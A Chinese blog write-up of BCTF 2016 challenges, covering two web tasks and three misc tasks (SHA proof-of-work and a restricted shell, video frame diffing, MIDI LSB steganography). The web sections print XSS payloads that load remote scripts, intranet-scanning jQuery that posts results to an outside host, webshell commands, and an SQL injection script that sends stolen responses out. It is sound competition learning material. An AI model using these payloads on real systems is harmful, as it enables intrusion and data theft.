bctf2016

前两天打了bctf2016,结果做到最后都没想明白web题目的思路,而且20多道题目,却只有2道web题Orz,真是不给web狗活路,web狗这年头要转型misc了…

web

qaq (iframe标签跨域+CORS内网)

hint1: What else can XSS do? Just steal cookies? Secret in intranet,hack harder guys!
hint2: CORS headers

现在能搜到的只有一篇从ctftime上找到的外国人的writeuphttps://github.com/raccoons-team/ctf/tree/master/2016-03-19-bctf/web-350-QAQ

打开题目首先是一个大大的留言板,那基本应该没什么别的了,先尝试bypass xss filter吧。

稍微测试了一下常见的标签都被过滤了,还剩下<iframe><link>

link标签只能用来csrf,那应该没错就是ifreame标签了。

我自己使用的是常规的调用方式

1
<iframe src="http://youdomain/xxx.php">

在php文件中写入<script>就可以执行所需要的js了。

而老外用的是iframe的onload的属性,(如果我没记错的话会被chrome filter拦截)…

1
2
3
4
5
6
7
<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>

通过上面的代码,成功使用domxss创造了

1
<script type="text/javascript" src="http://1.2.3.4/js/hook.js"></script>

这样一来就可以执行任意的js,当我们提交后,后来管理员就会审核。

上面的老外使用的是beEF框架的hook.js来和服务器沟通,发现大概5秒左右会断开。

题目第一个提示告诉我们秘密在内网中,那么我们需要扫一下host,从beEF中,我们可以看到

1
2
3
127.0.0.1 localhost Linux
172.17.0.1 Linux
192.168.1.3 Linux

然后检查下hosts中的附近ip,这里老外是用的jquery的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
jQuery.get( "http://192.168.1.1", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.1"} );
});
jQuery.get( "http://192.168.1.2", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.2"} );
});
jQuery.get( "http://192.168.1.3", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.3"} );
});
jQuery.get( "http://192.168.1.4", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.4"} );
});
jQuery.get( "http://192.168.1.5", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "192.168.1.5"} );
});
jQuery.get( "http://172.17.0.1", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.1"} );
});
jQuery.get( "http://172.17.0.2", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.2"} );
});
jQuery.get( "http://172.17.0.3", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.3"} );
});
jQuery.get( "http://172.17.0.4", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.4"} );
});
jQuery.get( "http://172.17.0.5", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: "172.17.0.5"} );
});

http://1.2.3.4/app_dev.php这样写

1
2
3
4
5
<?php
$file = fopen("file.txt", "a");
fwrite($file, "\n\n\n". $_POST['x']);
fclose($myfile);

测试发现172.17.0.2存在

那么先请求一下172.17.0.2试试看,发现返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<body>
=.=
webdog
webshell
=.=
<!--
header("Access-Control-Allow-Origin: *");
$ztz= 'system';
ob_start($ztz);
echo $_GET[c];
ob_end_flush();
or
$ztz = new ReflectionFunction("system");
echo $ztz->invokeArgs(array("$_GET[c]"));
-->
</body>
</html>

发现存在一个php shell通过$_GET[c];

那么ls一下发现

1
2
3
fl4g
index.php
index.php

看到flag了,cat一下

1
2
3
jQuery.get( "http://172.17.0.2/?c=cat fl4g", function( data ) {
jQuery.post( "http://1.2.3.4/app_dev.php", { x: data} );
});

get!

homework

找了一段时间没有找到writeup,只找到一个朋友写的,但是是还没有getflag版,但是还是能得到很多东西。

http://www.isecer.com/ctf/bctf-2016-log-for-homework.html

1、hint1: source code can be leaked.
2、hint2: version control
3、hint3: hack the server

首先就是一个大坑,hints说有源码泄露还有版本控制,第一反应就是.git,但是并没有,后来想到以前在下老外写的githack工具的时候还看到别的几个版本的爬源码工具,打开发现真的有爬.hg的。

https://github.com/kost/dvcs-ripper

发现/index.php和/admin/read.php可能存在漏洞

index.php中有过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function stripStr($str) {
$str=str_ireplace("'","",$str);
$str=str_ireplace('"',"",$str);
$str=str_ireplace('&',"",$str);
$str=str_ireplace('#',"",$str);
$str=str_ireplace(';',"",$str);
$str=str_ireplace(',',"",$str);
$str=str_ireplace(':',"",$str);
$str=str_ireplace('`',"",$str);
$str=str_ireplace('(',"",$str);
$str=str_ireplace(')',"",$str);
$str=str_ireplace('[',"",$str);
$str=str_ireplace(']',"",$str);
$str=str_ireplace('\\',"",$str);
$str=str_ireplace('\r',"",$str);
$str=str_ireplace('\n',"",$str);
$str=str_ireplace('\0',"",$str);
do $str=str_ireplace("script","",$str,$count); while($count>0);
do $str=str_ireplace("iframe","",$str,$count); while($count>0);
do $str=str_ireplace("data","",$str,$count); while($count>0);
do $str=str_ireplace("\\x","",$str,$count); while($count>0);
do $str=str_ireplace("\\u","",$str,$count); while($count>0);
return $str;

read.php中get_ip有洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ip=get_client_ip();
function get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")){
$ip = getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")){
$ip = getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")){
$ip = getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){
$ip = $_SERVER['REMOTE_ADDR'];
}else{
$ip = "unknown";
}
return($ip);
}
$sql = "UPDATE `test`.`message` SET `is_read` = '1', `operation_log_ip` ='".
$ip."', `operation_log_ua` ='".ua."' WHERE `message`.`index` = '".$_GET['index']."';";
query($sql);

注入后发现,并不能破解密码,那么还得xss

1
<scrdataipt src//xxx.com/xss.js.php></scrdataipt>

js很随意了,可以这样写

1
2
3
4
5
6
7
xhr=new XMLHttpRequest();
xhr.open("POST","http://104.199.137.82/admin/read.php?index=<?=$i?>",false);
xhr.setRequestHeader("X-Forwarded-For","<?=$p?>");
xhr.send();
r=xhr.responseText;
xhr.open("POST","http://xxx.com/get.php",true);
xhr.send("v="+escape(escape(r)))

有个问题是如果管理员看到你了之后就会设为isread,那么就不能注入了。。那么脚本就是必要的了。

misc

hsab (sha碰撞)

题目有两个坑,首先是要碰撞出一个前20为0,和所给值相同的字符串,队友写了个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
import hashlib
import re
import itertools
import string
rand_string = string.ascii_letters + "0123456789"
e2 = itertools.permutations(rand_string, 10)
def fuck_1(s):
while True:
try:
e3 = e2.next()
except StopIteration:
exit(-1)
ns = s + "".join(e3)
sha = hashlib.sha256(ns).hexdigest()
sha_bin = bin(int(sha, 16))[2:]
sha_bin = '0' * (256%len(sha_bin)) + sha_bin
if sha_bin[:20] == "00000000000000000000":
return ns
def main():
global flag
#context.log_level = "debug"
#conn = remote("104.199.132.199", 2223)
conn = remote("104.199.132.199", 2222)
#st = "rnwgqhnz"
#print fuck_1(st)
str1 = conn.recvuntil("zeros.")
print str1
st = re.findall(r"'(.+?)'", str1)[0]
pt1 = fuck_1(st)
conn.send(pt1+"\n")
conn.sendline("pwd")
conn.interactive()
if __name__ == '__main__':
main()

进去了后发现命令只剩下了内建命令,完全懵比,那么测试吧,先是发现echo可以列目录

1
echo /home/ctf/*

这样就会列出ctf下的所有文件,然后发现了flag.ray,但是测试了很久都找不到读取这个文件的方法。
后来看了writeup发现有很多种方式读文件。

第一种好像是官方做法

1
dlcall -n fd -r pointer open /home/ctf/flag.ray 0 && dlcall -n mapped -r pointer mmap 0 10 1 1 \$fd 0 && dlcall printf %s \$mapped

没有很看懂

后来发现可以用别的命令

1
2
3
bash -v /home/ctf/flag.ray
history -r /home/ctf/flag.ray history

技不如人,甘拜下风

catvideo (ffmege filter)

题目是个比较大的video,在windows下好像是打不开的,在linux下可以看到很多很多的雪花,当时没什么想法,后来看到几篇writeup,虽然复现成功了,但是没有很弄明白是怎么回事。

http://countersite.org/articles/steganography/68-bctf-2016-stego-catvideo.html#sel=18:7,18:7

http://fadec0d3.blogspot.jp/

http://err0r-451.ru/2016-bctf-forensic-catvideo-150-pts/

虽然做出来的人解释不同,但是做法相同,都是利用ffmege把视频拆分成图片,然后异或,就能看到一些图片了。

首先是用ffmpeg把视频拆分

1
ffmpeg.exe -i catvideo-497570b7e2811eb52dd75bac9839f19d7bca5ef4.mp4 -r 30.0 fr_%4d.bmp

参数比较多,有一些文档

截出了1000多图片,那写个脚本比较差异吧。

1
2
3
4
5
6
7
8
from PIL import Image
from PIL import ImageChops
import glob
im0 = Image.open("fr_0001.bmp")
for frame in glob.glob("./frames/*"):
ImageChops.subtrat(Image.open(frame), im0).save(frame.replace("frames", "frames_new"))

跑出来了很多图片,虽然不清楚,但是可以看到flag了。。。

关于python的imagechops不是很懂,只找到一部分文档

midifan(midi lsb隐写)

复现题目花了很久,网上找不到完整的writeup,只找到一个脚本,花了很久尝试复现,今天终于搞出flag了,但是对于midi格式的东西还是不熟悉。

之前做题目的时候是使用pymidi模块的,但是用了很久都搞不出flag,后来用别人的脚本跑出来之后才明白是怎么回事。

首先要处理midi格式的音乐,要首先把数据转为csv,得到完整的内容。
这里我用的是这个http://www.fourmilab.ch/webtools/midicsv/,命令行执行

1
midicsv.exe midifan.mid xxx.csv

就能得到完整的csv了,然后就要写脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
#from scryptos import *
import binascii
d = open("xxx.csv").read().split("\n")
bits = ""
for x in d:
r = x.split(", ")
if len(r) > 4:
if int(r[3]) == 0:
if r[2] == "Note_on_c":
bits += str(int(r[1]) % 2)
print binascii.unhexlify(hex(int(bits[::-1], 2))[2:-1])[::-1]

上面的脚本的意思是读出channel为0的频道数据,然后筛选出其中note_on_c的,根据date数据中,如果是奇数返回1,偶数返回2,然后逆序转16进制解hex再逆序就get flag了

1
BCTF{ju6t_0ne_b1t_of_d1FF}

文章目录
  1. 1. web
    1. 1.1. qaq (iframe标签跨域+CORS内网)
    2. 1.2. homework
  2. 2. misc
    1. 2.1. hsab (sha碰撞)
    2. 2.2. catvideo (ffmege filter)
    3. 2.3. midifan(midi lsb隐写)